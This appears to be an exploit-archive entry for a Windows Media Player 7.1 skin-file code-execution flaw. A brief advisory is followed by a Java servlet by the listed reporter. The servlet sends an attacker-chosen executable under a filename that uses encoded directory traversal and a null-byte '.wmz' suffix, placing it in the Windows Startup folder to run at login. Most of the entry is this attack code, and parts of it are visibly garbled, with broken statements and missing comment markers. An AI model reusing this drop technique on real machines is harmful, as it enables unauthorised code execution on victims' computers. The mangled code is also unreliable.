Microsoft Windows Media Player 7.1 - Skin File Code Execution

ID EXPLOITPACK:737C4400BC5997628D2345ECE3E556AC
Type exploitpack
Reporter Jelmer Kuperus
Modified 2003-05-07T00:00:00


Microsoft Windows Media Player 7.1 - Skin File Code Execution


Windows Media Player is vulnerable to code execution through skin files. WMP does not properly validate URLs that are passed to initiate a skin file download and installation. This could allow a malicious file advertised as a skin file to be downloaded to a known location and executed through some other means. 

import javax.servlet.http.HttpServlet; 
import javax.servlet.http.HttpServletRequest; 
import javax.servlet.http.HttpServletResponse; 
import javax.servlet.ServletException; 
import javax.servlet.ServletOutputStream; 
 * Microsoft media player 8 Exploit for windows XP English and Dutch versions 
 * It will drop a file in the startup folder 
 * modify web.xml to change what will be uploaded 
 * @author Jelmer Kuperus 
public class MediaPlayerExploit extends HttpServlet { 
    private static final int BUFFER_SIZE = 1024; 
    private static final String[] paths = new String[] { 
        "%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cDocuments%20and%20Settings%5CAll%20Users%5CStart%20Menu%5CPrograms%5CStartup%5c", // English 
        "%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cDocuments%20and%20Settings%5CAll%20Users%5CMenu Start%5CProgramma%27s%5Copstarten%5c" // Dutch 
    private String payload; 
    public void init() throws ServletException { 
        payload = getInitParameter("executable"); 
    public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { 
        int language = 0; // default to english 
        try { 
            language = Integer.parseInt(request.getParameter("language")); 
        } catch (NumberFormatException ignored) {} 
        String path = paths[language]; 
        File file = new File(payload); 
        ServletOutputStream sos = response.getOutputStream(); 
        response.setHeader("Content-Disposition","filename=" + path + file.getName() + "%00.wmz"); 
        BufferedInputStream bis = new BufferedInputStream(new FileInputStream(file)); 
        BufferedOutputStream bos = new BufferedOutputStream(sos); 
        byte buffer[] = new byte[BUFFER_SIZE]; 
        int datalength = 0; 
        while ( (datalength =,0,BUFFER_SIZE)) > 0) { 
    public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { 
        doGet(request, response);